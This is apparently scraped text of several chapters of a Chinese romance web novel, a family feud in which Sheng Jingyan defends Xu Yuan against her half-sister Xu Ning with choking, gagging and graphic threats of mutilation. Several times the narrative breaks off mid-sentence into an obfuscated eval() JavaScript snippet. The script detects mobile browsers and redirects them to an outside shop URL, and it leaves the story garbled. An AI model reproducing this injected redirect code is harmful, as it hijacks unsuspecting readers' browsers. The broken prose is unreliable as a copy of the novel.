现在网络上的人都在嘲讽许愿要换新靠山,知道傅氏靠不住,所以才选了盛景炎,甚至迫不及待的爬床。 他就是要让许愿回来,为许宁讨回公道! 汽车开进了许家巨大的宅院。 许镇江和许宁早就在大厅候着了,只是没想到许愿会把盛景炎也带回来。 看到盛景炎,许镇江那些盛怒的话也说不出来了。 他的一口气憋在胸口,不上不下的,憋得他难受。 许镇江只能干笑着讨好盛景炎。 他是绝不敢跟盛景炎撕破脸的。 许宁盯着两人,心却缓缓沉下去。 只要盛景炎还在,许愿无论去了哪儿,都不可能沦落到凄惨无依的境地。 或许,她会比待在许家和傅氏过得更好。 毕竟盛景炎所拥有的一切,足够与傅京礼抗衡。 独自坐在一旁的许宁忽然开口:“盛总,我劝你还是再考虑考虑和许愿的关系。” 盛景炎神色莫测地看向她。 许宁微微一笑,淡声说道:“盛总难道真的不明白吗?” 她开口:“许愿,是在拿你做跳板啊。” “她以前跟傅京礼是夫妻关系,他们结过婚,她早就不清白了。” “你能忍受你的女人,被别的男人玩腻睡腻吗?” 许宁嘲讽:“她现在被傅京礼抛弃了,所以才会盯上你。她只是利用你,拿你当跳板,因为勾引到你,她就能得到一切了不是吗?” “她这种女人,没有心,最是唯利是图。” 她的话说完,客厅里死一般寂静。 站在沙发旁的许愿慢慢坐下,指尖拂了拂额角的一缕发丝,轻笑一声,似乎是毫不在意这些。 “你还笑得出来?你到底要不要脸?”许镇江指着许愿的鼻尖怒问。 “为了几个钱,你竟甘愿委身于男人,你真是不知羞耻!”许镇江气得浑身发抖。 “如果你还要脸,你就不要继续靠着你那张脸,蛊惑盛总!”许镇江怒吼。 许愿脸上仍然挂着淡淡的笑,她抬眸看向许镇江,一言不发。 许宁勾唇一笑,眉梢轻挑。 她还等着盛景炎暴怒抛弃许愿呢。 盛景炎会怎么做呢? 暴跳如雷,狠甩许愿,打击报复? 许宁神清气爽地畅想着。 盛景炎侧着头,表情阴郁地看向许愿。 “你不解释几句吗?”他勾唇而笑,笑意却不达眼底。 许宁垂下头,隐秘一笑。 “盛总,你先回去吧,是我们教女无方,我会好好管教许愿。”许镇江冷冰冰地下了逐客令。 默然不语的许愿只是把玩着手机,凝着一双清冷的眼眸,一瞬不瞬地看着盛景炎。 盛景炎冷冷笑了:“许愿,你利用我?” 他说这话时,眼底明显带着冷意。 许愿沉默,只抬眸瞥了他一眼,眼底的冷意愈深,却又像是什么都不在意。 许宁等待着矛盾的爆发。 盛景炎这种人能蛰伏那么多年,一看就不会是好相处的男人。 招惹了他,许愿又怎么会有好下场? 盛景炎缓缓靠近许愿,用拇指和食指用力捏住许愿的下颌,语气阴狠地问:“许愿,你跟傅京礼结过婚,还拿我当跳板?” 许愿依然不答,只是笑笑。 盛景炎冷笑:“许愿,你好样的!” 他依然捏着许愿的下颌,转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618041|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而看向许镇江,语气阴冷:“你们许家胆子够大,敢来招惹我。” 许镇江吓得浑身冷汗直冒。 他知道盛景炎是个混不吝的,此刻整个人都慌了。 他嘲讽了句,而许愿的下颌,已经被盛景炎捏红了。 死一般的寂静,在客厅里蔓延。 看戏的许宁和暴跳如雷的许镇江此刻已六神无主,心生骇然。 就在这时,许愿拂开盛景炎捏着自己下颌的手指,缓缓开口:“戏演完了吗?” 刚才还浑身戾气,形如阎罗的盛景炎,这会儿竟拊着手掌朗笑起来。 “演完了,好不好看?” 许镇江和许宁齐齐愣住。 许宁猝然抬头,不敢置信地看向 气场大变的盛景炎。 这人刚才还恨不得掐死许愿,此刻温温柔柔,宠溺的低笑。 所以那些怒火,那些狠戾,那些报复的话语,都是假的吗? 明知道许愿是在利用他,却一点儿也不生气吗? 许宁微微摇头,满脸的不敢置信。 到底是盛景炎疯了,还是她疯了! 倒是这时,许愿还嗤笑一声:“我真拿你当跳板,你能把我怎么样?” 许镇江吓得手抖心颤,继而硬着头皮去看盛景炎的反应。 哪料盛景炎非但没怒火中烧,反倒笑起来。 “那说明对你来说,我还是有几分利用价值的,我很庆幸。” 他这样的人,竟然说出了这种卑微的话语。 许宁只觉得荒谬至极! 盛景炎这种吃人不吐骨头的怪物,怎么会被许愿死死拿捏住? 许愿自己都承认了,只是把盛景炎当作跳板,为什么盛景炎还是选择了原谅? “盛总——” 许宁沉声开口。 许愿打断他的话:“你不用白费力气了,我们的关系,是你离间不了的。” “我没有离间你们——” 许宁不耐地开口。 盛景炎打断他:“许宁,你是当我们蠢,还是把你自己想得太聪明?” 许宁如鲠在喉,半晌说不出话来。 她确信,是盛景炎疯了! 第88章 发怒 “盛景炎,你真的清楚自己在做什么吗?” 许宁喉咙发堵,胸口发胀,她心里的酸涩感已经到达顶点。 她以为盛景炎和许愿之间根本不会有什么真的感情,她以为盛景炎听到那些会暴怒,他以为盛景炎会迁怒许愿! 可现在! 盛景炎告诉她! 这一切都是在装!在演! 凭什么呢,凭什么许愿什么都没有做就能拥有那么优秀的男人? 不论她做错任何事,他都那样的守着她护着她…… 甚至,哪怕她早就不干净了,哪怕她嫁过人,她也这样迁就这样在意。 她不甘心! “她结过婚,嫁过人!” “她以前的男人是傅京礼!” “你这么在乎她有什么用?她早就被人睡腻了玩腻了!” “唔……你……” 话还没有说完,喉咙已经被男人的大掌钳制住,许宁所有未出口的侮辱性言论全都堵在喉间。 她整张脸被掐的涨红泛紫,不停的发出“嗬”“嗬”的声响。 许镇江见此,彻底慌了。 “盛总,盛总您别急,您先放开她!宁宁也只是担心您被许愿欺骗,才好心提醒的!” 许镇江还想靠着许宁帮他笼络傅京礼,可不能真让她伤到! 盛景炎面无表情的看向许镇江,声音冰冷:“胶带。” 什么胶带? 许镇江整个人都愣在原地。 恍恍惚惚的明白过来时,已经有佣人碍于盛景炎的威慑力,取出了胶,带恭恭敬敬的递交到他手中。 盛景炎仍然是那副眉眼冷淡的模样,然后拆开胶带,一层又一层的黏住许宁那张不会说话令人厌恶的嘴巴。 那样大的力气钳制住许宁的下巴,动作大得几乎让她觉得下巴已经不是自己的,感觉都要错位了。 她的嘴巴被黏住,整个人眼睛瞪圆了,喉咙间发出反抗的“唔唔”声。 可男人根本不理,只是面容嗜冷的看着她,一把将人丢开。 身体摔到冰冷的地板上,骨头都像是被摔得在发痛。 许宁疼得眼里冒出泪水,却克制不住的将自己受到的委屈加注到许愿身上。 她眼睛发红,死死的盯住在自己不远处的许愿,恶狠狠的盯紧她。 是许愿的错! 全部都是许愿的错! 都怪这个贱人! 倏然,头顶上传来重压。 男人的鞋踩在她头顶,缓缓的加重力道碾压着。 “用这种眼神看我的爱人。许宁,你是想让我把你的眼睛剜下来吗?” 他的声音轻飘飘的,没有任何温度,却还带着几分明显的笑意。 只是那笑意仿佛都带了血腥气,恍惚间,让人能感觉到血色。 许宁眼睛瞪得越来越大。 此刻像是被他吓到了,身体在瑟瑟发抖的想往后缩,却被男人的脚踩着完全制住,根本逃无可逃。 只能喉间发出呜咽之声,像是在求饶。 “许宁,你知道我能做到这些的。” 他踩着许宁的头,姿态闲散的俯身,压低声音轻笑:“你能无缘无故的出车祸,就能无缘无故走在路上被迎面而来的投掷物伤到双眼,又或者被一些乱七八糟的人带走,带到公海上,取下你的眼睛,摘掉你的人体器官。” “然后……将你制成人彘,将你放在奇人异类的展会上展出。” “你觉得怎么样,期待这样的未来吗?” 如果她的未来真是如此,那将会是人间炼狱。 许宁嘴巴被黏住,喉咙间却仿佛还发出凄惨的求救声。 她不要!她不要! 不可以这样对她! 许宁眼睛里的眼泪不停的外溢,染湿了胸口的衣襟,身体还在瑟瑟发抖。 她当然知道盛景炎说那段话是在暗示什么。 她车祸的事,就是盛景炎做的! 她伤害到许愿,盛景炎就要为许愿反击! 盛景炎能做那些事,那其他事他一样做得出来。 她是真的慌了怕了,此刻甚至不敢去看许愿,她真的害怕盛景炎让人剜了她的眼。 许镇江在一旁张目结舌,什么话都说不出来,整个人也在发抖。 父女二人如出一辙的怯懦胆小。 盛景炎歪头,看着被自己踩在地上还在不断求饶的女人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618042|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这次你不会说话,我只是用胶带黏住你的嘴巴,若是以后还不会说话,我不介意用针线缝住你的嘴,让你再也说不了话!” 他还记着许宁对许愿说的那些侮辱性的话。 他的脸上是带着笑意的。 只是那笑意不达眼底,散发着明显的凉意。 “我当然知道许愿结过婚,我当然在意她的过去。” 盛景炎眸光中带着几分血色:“我已经将她看作我未来的妻子,那她就该是我的挚爱,我在意,不代表我不爱。” “你一个躲在阴暗角落只敢觊觎属于她的东西,怎么敢说这些侮辱她的话?你也配。” “她这一辈子活得都比你干净比你精彩,她是许家的嫡女,是傅京礼的原配第一 任妻子,是我盛景炎未来要守着的女人。” “你呢?你又算是什么可悲的垃圾货色,一个抢夺别人丈夫继承你母亲衣钵的小三,一个只能活在泥潭里抢夺别人的东西!” “你愚蠢卑劣下贱,多看你一眼我都会觉得恶心,你这样的人,也配说她一句不是?” “你只配被人踩进泥潭!” 盛景炎字字句句,都戳到许宁心窝上。 她就是在意出身,就是在意旁人知道自己抢了许愿的男人,所以此刻更觉得难堪,甚至觉得自己是蛆虫被钉在地上。 许宁喉间发出唔唔声,似乎想要说什么。 盛景炎眼神仍然冰冷。 许愿一直坐在沙发上,面色平静却又带着明显冷意的看着眼前的一幕。 她像个波澜不惊的看客,看着自己的骑士首当其冲的位置解决危险。 而她,衣袂翩翩,不染纤尘。 “盛景炎,放开她,让她说。” 许愿一手支着自己的下巴,声音带着浅浅的笑:“我很想听听看,她到底能说出些什么了不起的话,来反驳我们。” 盛景炎顿了下,像是有些无奈。 “既然你都这么说了,那我当然会放开她。” 盛景炎瞥了眼别墅内的佣人一眼,立刻有人取来剪刀,为许宁拆着黏住嘴巴的胶布。 仿佛盛景炎才是这座别墅的主人一般,完全听从他的指令。 第89章 抢她 盛景炎在黏她嘴巴时可没留情,长发都被他黏住,甚至黏了一层又一层,撕扯胶带时头发被扯动,痛得她不停掉眼泪。 “你是废物吗!会不会弄!给我滚开!” 许宁气愤的推开佣人,眼睛都是红的。 她现在根本不敢去扯头发上的胶带,只能颤颤巍巍的站起来。 此刻,她不敢盯着许愿和盛景炎,她怕自己控制不住自己的眼神流露出凶狠之意。 只能握紧拳取来一份文件,低着头开口。 “盛总,这是我刚刚拿到的授权书。莱蒂斯已经授权我当他们的代理人,国内的公司想找他们合作,只能通过我来进行谈判。已经有公司已经向我递出了橄榄枝,我目前还没答应。他们给出的条件国外公司的执行董事,年薪三千万。” 她此刻头上还黏着胶带,却不忘向盛景炎证明自己的价值。 她就是想用行动告诉盛景炎,自己不是废物,她是有能力的! 只有她才被莱蒂斯选中成为代理人! 许愿呢? 若是许愿真的有实力,莱蒂斯为什么不选她! “你依然觉得这个项目没有问题?” 盛景炎似笑非笑地问,眼底的冷意根本藏也不藏,完全彻底的显露出来。 “有没有问题,大家心知肚明!” 许宁已经钻了牛角尖,走不出来了。 她现在属于是完全被带进沟里,没有了独立思考的能力。 许愿越是说她错了,她就越是要证明自己是对的! 她不敢去看许愿,但是此刻仍然能感受到许愿带笑的眼神,看她像是看笑话。 她心里的怒火根本撑不住,拳头都不停紧握。 盛景炎拿起那份授权书,随意看了看,继而轻笑道:“原来你还是觉得自己是对的,所以……你不是蠢货,谁是蠢货呢?” 话落,他立刻拨打了傅京礼的视频电话。 那边几乎在一秒钟之内就接了起来,男人俊美沉冷的面容出现在手机屏幕上。 “盛景炎,你马上带许愿回来傅氏,她的处分取消了。”傅京礼迫不及待地说道。 原以为许愿的职业生涯已彻底完蛋的许镇江,不由得又是一愣。 这么严重的事都不开除? 这多少有点说不过去吧? 盛景炎颇觉有趣地笑了。 他能感觉到此刻的傅京礼是何等的焦躁不安。 看不见许愿就像看不见太阳,生活完全失序的猛兽会无法辨别方向,继而为之狂乱。 他们离婚了,但是傅京礼似乎不能离开许愿了。 可是,这又关他盛景炎什么事呢? 他本来就是个挖墙脚的。 敛起眼中的笑意,盛景炎把镜头对准了许宁和那份授权书。 镜头划过客厅,照见了许愿仰靠在沙发上慵懒而笑的身影。 只是一秒钟的时间,傅京礼就已经把对方的每一根发丝都尽收眼底。 许愿似乎能感受到男人瞟过来的眼神,她脸上的笑意微微僵了下,方才起身。 “我上去换件衣服,你跟我一起?” 许愿走过去,拍了拍盛景炎的手臂。 许家是有盛景炎能穿的衣服的。 傅京礼以前也来这里住过几天,有备用的衣服,他和盛景炎身量差不多,刚好合适。 “他留下拍视频。”傅京礼沉声说道。 盛景炎的手机里存有许多机密,自然不可能交给许家人帮忙拍摄,于是只能笑着摆手,让许愿去换衣服。 事实上,他也不希望许愿留在这里,毕竟他并不希望傅京礼看到她。 许愿慢悠悠地上了楼梯,快要走到二楼时忍不住打了个喷嚏,然后回过头,瞥了眼盛景炎,那张苍白的脸,染上了一些病态的红晕,怕是已经感冒了。 见此情景,傅京礼眸底压抑的暗色又深沉了几分。 他眼神暗沉,最终还是隐忍的忽视了许愿,瞥了那授权书一眼就冷冷开口:“莱蒂斯的合同陷阱都已经给你指出来,你还看不懂吗?” 许宁脸色一白,整个人便都眩晕了一下。 骤然而至的失重感,让她如坠冰窟。 盛景炎勾着唇角,笑意不达眼底地说道:“早就告诉过你,这份合同里有陷阱,为什么不相信?” 许宁摇摇头,张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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而许宁的脸,比刚才更苍白也更扭曲。 傅京礼简短的几句话,已将他的心思暴露无遗。 许宁在乎什么呢? 她当然希望自己能靠着这次的合同飞升。 但是…… 但是她更希望自己能嫁给傅京礼成为傅太太! 这才是她预想的未来啊! 第90章 宣誓主权 怎么能这样呢? 她以为傅京礼和许愿离婚,就不会再有以后了。 可为什么…… 为什么傅京礼还会担心许愿? 那一切,都是她偷来的。 她偷走了傅京礼和许愿的初遇。 偷走了他们的羁绊,偷走了傅京礼内心藏了数年的白月光记忆。 她偷走了一切,最终将主人公换成自己。 她应该成功的,他们已经离婚了不是吗? 可为什么,傅京礼还会这样在意许愿! 那样高高在上的傅京礼,却因为许愿,好像变成了一个普通人。 前所未有的愤怒和不甘直冲大脑,击毁了许宁的理智。 “傅京礼喜欢许愿是不是?” 许宁无意识地呢喃着,音量低得只有她自己能听见。 她明明是呢喃,可盛景炎却听到了。 傅京礼喜欢许愿吗? 是的,他当然喜欢。 傅京礼自己不清楚那些情意,可他却看得真真切切。 可他还是要把人抢到自己身边。 他不会同情傅京礼,他会趁着这个时间,像是猛兽一样……将许愿困在自己身边。 盛景炎不急不缓地笑了,语气悠然:“当然不是,傅京礼他喜欢的人,是你啊。” 他扯了一个如此离谱可笑的谎言。 许宁眨着眼,内心的酸胀感已经到达顶点。 她望着面前的男人,只觉喉咙干涩。 “傅京礼可是为了你跟许愿离婚,谁会伤害自己爱着的人,搞婚外情呢?” 盛景炎微笑:“虽然你智商不高,可是你有个坚强的后盾啊,嫁给傅京礼,成为傅太太,多完美的未来,到那时所有人都会追捧你的,不是吗?” “自信点,他很爱你。” 盛景炎开口的话仍然是谎言,像是沾带了蜜糖的谎言。 许宁捂住自己的脸,久久未回话。 她也在内心一遍遍告诫自己,傅京礼爱着的人是自己,他爱的是自己。 是的,她会得到傅京礼,她会嫁给傅京礼,她会改写自己的未来,不论未来发生什么事,她都要成为傅京礼的妻子! 看到许宁此番模样,盛景炎眸光闪烁。 他轻笑一声,也不知是在嘲讽谁。 “许先生,我先上楼去等阿愿。” 他已经改口叫阿愿。 这样唤着她的名字,只觉得舌尖都带着点点甜意。 怎么以前不觉得“许愿”这个名字这么好听。 盛景炎倚靠在门边,长指轻点了下门扉却并未推开门,只是敲了下。 “我可以进去吗?” 许愿已经换好衣服,听到敲门声,她开了门。 她身上穿的是一件素色的长裙。 其实在盛景炎看来,许愿或许更适合色彩鲜艳的裙子,不过素色的衬得她那张脸愈发优越美艳,也有让人眼前一亮的感觉。 “很漂亮。” 盛景炎手放在她肩上,轻点了下。 “能被你这么漂亮的女孩子穿上,是这件裙子的荣幸。” 许愿挑眉:“嘴这么甜?有什么企图。” “发自内心的。” 盛景炎看到她时,眼底都带着明显的笑意。 许愿顿了下:“你再如何说甜言蜜语,我也不会送你更多礼物。” 盛景炎轻啧一声,伸出手要去握她的手。 许愿身体僵硬了下,手向后躲,男人敏锐的察觉到她的抗拒。 还是太快了吗? 他不动声色的转了个方向,用伸出去的手关上房门:“带你去个地方。” 他先她一步走在前面,许愿跟随在他身后,开口询问:“不换件衣服吗。” “傅京礼的衣服,我还真没兴趣。” 盛景炎开口:“你还要在许家待多久,这地方有什么好待的。” 许愿垂下眼睫,心头微微悸动。 的确,许家没什么好待的。 每次她来这里,都不会发生什么好事。 许愿跟随在盛景炎身后。 不等她跟着走了几步,盛景炎脚步缓缓停下。 她不解看她,正对上男人含笑的一双眼。 “让你看着我的背影似乎不太好,并肩而行怎么样?” 他这话说得,让她有片刻的恍惚。 并肩而行,听着真的是一种很浪漫的说法。 许愿掩住眼底的情绪,声音中似是带着笑:“好啊,并肩而行。” 许宁一直躲在角落,死死的盯着已经远去的两人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618044|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人看着是那么登对那么般配,甚至盛景炎还会故意迁就的放慢脚步等着许愿。 对她如此狠心的男人,却待许愿如珍似宝。 凭什么呢? 凭什么许愿的运气就这么好呢,哪怕被傅京礼抛弃了,还能遇到盛景炎这样的男人。 她内心的怒意已经到达顶点。 脑海中,恍恍惚惚的回闪过盛景炎对她说过的话。 对,没错。 她要牢牢抓住傅京礼,她要成为傅太太,成为真正的人上人! 许宁面目狰狞,一手抓住自己 的后发,死死的拽着扯着上面的胶带,痛得她整张脸都扭曲了。 …… “说要带我去个好地方,结果就是医院?” 盛景炎带她去的还是江惊蛰的医院,她站在医院大厅,只觉有些头疼。 “你没感觉到你快感冒了?” 盛景炎开口:“你现在的情况不能感冒。” 盛景炎目光落在她的小腹上,许愿身体僵了下,手不受控制的放在自己小腹。 没等到许愿的回答,盛景炎已经要带着她去定好的病房休息。 只是感冒就要催着她去定好的房间休息,许愿一时有些无言。 还没到病房内,看到个熟悉的身影。 男人身形高大,容貌温和俊逸,外面穿着医生专用的服饰,手中是一份病历,此刻正在叮嘱身旁的医生注意事项。 不巧,正是江惊蛰。 似是察觉到什么,他抬眸淡淡的扫了眼,将病历本递交到身旁医生怀中,走近许愿。 他并未开口,抬眸就对上盛景炎那双冷冽的眼眸。 他明明长了一张自带笑意的桃花眼,可偏偏此刻眼神是冷的。 “朋友?” 江惊蛰眉眼神色淡淡的:“有点凶啊。” 许愿挑眉。 盛景炎凶? 嗯…… 想到这人是如何对待许宁的,那确实是有点凶。 不得不说,江惊蛰还真是透过表象看透了盛景炎。 许愿笑了下,盛景炎的眼底就已经重新弥漫出笑意:“江医生吗?我是盛景炎,阿愿的男朋友。” 江惊蛰懒懒的扫他一眼。 哦。 这是在向他宣示主权。 第91章 干哥哥还是情哥哥 江惊蛰眼神懒懒的。 他看着是有几分倦怠的,许是才经过两场手术,所以还没缓过来。 现在距离的并不算远,但许愿还是能敏感的闻到江惊蛰身上的消毒水味。 男人身上的气质总是温柔中带着点冷淡,让人明显感觉到他的疏离。 不过他对许愿是有那么几分亲近的,否则敏锐如盛景炎,也不会感觉到危机。 江惊蛰撩了下眼皮,清淡的目光掠过盛景炎。 “我是许愿的……” 他像是故意停歇了片刻,才缓缓开口。 “我是许愿的……哥哥。” 哥哥? 亲哥哥?干哥哥? ……还是情哥哥? 这里笼统的说法,不是对许愿抱着别的心思,就是在故意耍他。 盛景炎微微眯眸,含笑的眼睛愈发冷淡。 可低下头看向许愿时,又恢复平日那副模样。 “阿愿,他是你哥哥?” 这种时候倒不如问许愿。 盛景炎真的不知道江惊蛰是谁吗? 他当然认识,甚至知道这位是a市医药世家江家的嫡系继承人,就是因为知道,他才会有如此大的敌意。 以江惊蛰的身份和风评来看…… 他胜算不大。 “他在跟你开玩笑,不是哥哥,是主治医生。” 许愿并没有说什么模棱两可的话,直接介绍清楚两人的身份。 盛景炎哼笑了一声:“江医生好幽默啊。” 江惊蛰只是笑了笑:“我也正想去找你,做个检查看身体恢复得如何,我再根据你的身体状况,开点调理身体的中药。” 江惊蛰淡声说:“跟我来。” 而眼神扫过盛景炎时却开口:“盛先生就不必跟来了,她只是需要配合检查,用不着那么多观众。” 被归类到观众的盛景炎,眼神明显冷了几分。 他目光落在许愿身上,等着她的回答。 “盛景炎,你不用跟来。” 她这样说。 盛景炎唇角一直含带的笑意敛去几分。 他心尖有那么点带苦意的酸涩感在心口恍惚的蔓延开来,喉间溢出轻笑。 缓步走近许愿,那双狭长的桃花眼是很漂亮的,像是盛装了满天星河,璀璨耀眼。 然而此刻这双眼睛里的人只有许愿,也仅仅只有她。 长指划过她柔嫩白皙的脸颊,带来些微的痒意。 许愿顿了下,却感受到男人指尖掠过耳畔,将额前那两缕被吹散的发拢到耳后,露出了她那双清冷却又夺目的双眸。 四目相对,许愿看到男人脸上带着清浅的笑。 “去吧,我在这里等你回来。” “你知道的,我一直都是听话的,你说不许,我就真的停在原地。” 盛景炎笑意柔柔的,跟许愿熟悉的那个盛景炎差了个亚马逊大海沟。 许愿眯了眯眼,抓住男人还在她耳畔游移的长指:“少演点。” 盛景炎却笑得愈发愉悦。 许愿有点嫌弃的看了他一眼,这才随着江惊蛰离开。 只是在她转身的瞬间,盛景炎的眼神骤然变冷。 烦躁。 说不出的烦躁感,在心里蔓延堆积。 他摸出根烟夹在指尖,很想点燃抽上几口,缓和自己的情绪。 打火机上蓝色的火焰攒动,即将触碰到烟头时。 “擦——” 他灭掉了火机。 是他大意了,许愿现在闻不得烟味儿。 算了,不抽了,少抽一根,暂时还死不了。 他轻啧一声,将随身带的烟盒从身后丢过去。 暗处出现个身形高大的黑衣保镖接过他丢来的烟盒,恭敬开口:“少爷,需不需要我跟上许经理和江医生。” “算了。”盛景炎嗓音带着点哑,“以后都不必再跟了,她不喜欢这样。” “好的少爷。” …… 检查的项目并不算多,但还是耗费了点时间。 等检查报告出来的过程,江惊蛰递给许愿一瓶热牛奶,随口问道:“决定是盛景炎了?” “暂时是这样。” 许愿喝了口热牛奶。 草莓味道的甜牛奶,遮住了那点奶腥气,只余香甜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618045|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “盛景炎……似乎并不是很好的选择。” 江惊蛰开口:“盛景炎的身份,你是知道的。” 她当然知道。 就是因为知道,才会随着盛景炎的算计,顺着他的意,和他成为外界眼中的“恋人”。 “他的身份有什么不好的吗?我觉得和我挺衬的。” 同为家族嫡系,却被小三的子嗣欺辱,只能用另类的手段保全自己。 每一步都像是走在刀尖上那般危险。 可庆幸的是,他们越过深渊,才走到今天、站到这个高度。 他们几近相同的遭遇,才是让她同意盛景炎接近的原因。 就如盛景炎所说,他们是同类。 “既然他可以……那么为什么。” 江惊蛰话说到一半,窗外吹过一股淡淡的微风,吹散了他未尽的 话。 他低头看着面前的女人。 她倚靠在窗边,懒懒散散的摇晃着热牛奶的杯子,那张明艳动人的面容此刻难得露出几分软意。 “算了。” 江惊蛰的叹息仿佛也被风吹散了一般。 他长指敲打着茶杯的杯壁,声音轻缓到仿佛只有他自己能听到:“说了你也不懂。” “盛家并不简单,纵然现在盛三被盛景炎压下去,但你别忘了盛老爷子和盛景炎的父亲手中有不小的势力。纵然现在盛景炎掌控了盛家,不代表他真的完全镇下了盛家的魑魅魍魉。” “盛三还在a市,他绝不甘心被盛景炎抢走属于他的家业财富,还有,你别忘了盛景岳还在。” “同为嫡子,他真的甘心盛家的家业,被自己弟弟继承吗?” 纵然盛景岳被盛家人养废成了个残废,只能终生坐在轮椅上。 可他能甘心本该属于他的东西,落到盛景炎的手中吗? 偌大一个盛家,堆积着数不尽的牛鬼蛇神。 数来数去,真正的正常人只有盛景炎。 许愿选择他,难保不是跳进火坑。 许愿的手放在自己小腹处,轻轻抚摸。 她声音温柔:“你说的这些我都考虑过,可是除了他,谁还能是我的最优选。” 第92章 希望你不会选错人 许愿抬眸,那双清冷的眼睛落到江惊蛰身上开口。 “我结过婚,怀了傅京礼的孩子,我还要生下这个孩子,然后养大他。” “圈内那么多追求者,他们的确喜欢我,可谁能保证知道这些不会在意?” “就算他们不会在意,家中长辈也会在意。而我腹中这个孩子,就会成为眼中钉肉中刺,就算我把他生下来,他怕是也活不了几年。” 她语气平淡,说出的话却让人觉得充满凉意、毛骨悚然。 “他们会担心未来会被这个孩子抢夺家业,所以我的孩子,也不可能活到成年。” 许愿考虑的这些,确实最有可能发生。 或者说,一定会发生。 “盛景炎就不同吗?”江惊蛰问她。 许愿握紧牛奶杯。 “我说过,我们是同类,如果是我,我不会扼杀掉这个孩子,而他,同样不会。” 江惊蛰无言以对。 这样看来,倒真的是只有盛景炎更适合她。 “我理解你的选择,也希望你不会选错人。” 话落,一部分检查报告已经加急出来了。 江惊蛰仔细看着,知道许愿的身体在逐渐变好,脸上难得也露出笑意:“恢复得不错。” 许愿眉眼也弯起来,看着是开心的模样。 “给你开了新的药,离开的时候记得拿。”江惊蛰挑了下眉梢,“当然,你也可以让盛景炎帮你亲自熬制中药。” 他不介意在这种事上折腾盛景炎。 许愿忍不住轻笑:“好,我会替你转达给他的。” 离开医院,许愿将那一大包的中药包丢到了盛景炎怀里。 正打算开车的盛景炎挑了下眉,提起那偌大的纸包袋的中药。 “这是打算让我熬药?” 许愿靠着椅背,模样闲适懒散。 “江惊蛰说的,交给你了。” “好啊,那我只能遵命了。” 盛景炎丝毫没有被耍弄的感觉,那一大包药被他放到车内的储物箱中。 这才看向许愿,伸出手摸了摸她的额头,是正常的温度。 “江医生怎么说?除了感冒还有没有其他问题。” “能有什么问题,真有问题的话,江医生是不会允许我离开医院的,我会被那个魔鬼强硬留下来的。” 听她这样说,盛景炎倒是放心了。 他也不去问那段时间江惊蛰说了什么,他大概能猜到那人说不出什么好话,索性便不再问。 “傅氏新开的那个度假酒店不是你参与策划的?你应该还没有去转过,明天一起去?”他开口邀请。 这次许愿没有拒绝。 从老先生那边定制的钢笔还没有送到,盛景炎想要的钢笔还要等些日子了。 好歹这也算是她和盛景炎在一起后,她给他过的第一个生日,没有礼物说不过去。 许愿晚上去了奢侈品店挑选手表作为礼物,手表表盘外用红色宝石镶嵌着一只红色眯眼笑的狐狸,让她第一眼看到就想到盛景炎。 油光水滑满肚子心眼的盛景炎。 衬他。 回到公寓,许愿看到了等候自己多时的温栩栩。 见她回来,温栩栩立刻冲了过来,语气仿佛都带着几许恨铁不成钢的意味儿。 “阿愿,你真的答应跟盛景炎在一起了?” “现在圈子里都传遍了,全都在说你们两个是恋人关系。” 温栩栩是真担心她,不然也不会在加班到这么晚的情况下,还马不停蹄的赶过来问原因。 “嗯,我们在一起了。” 许愿没有撒谎。 她将车子开进车库,带着温栩栩上了楼。 她将今天跟江惊蛰说的那些说给她听,温栩栩惊慌失措的来,哑口无言的离开。 她也清楚许愿为什么做这个选择了。 已经走到这一步,她也只能抱着对朋友的祝福。 期盼盛景炎是个真的能托付终生的人,而不是另一个傅京礼。 …… 傅家老宅。 傅老爷子今天出门听了一耳朵的八卦闲谈。 无非是许愿和盛景炎暗度陈仓,两人抱团在一起的事。 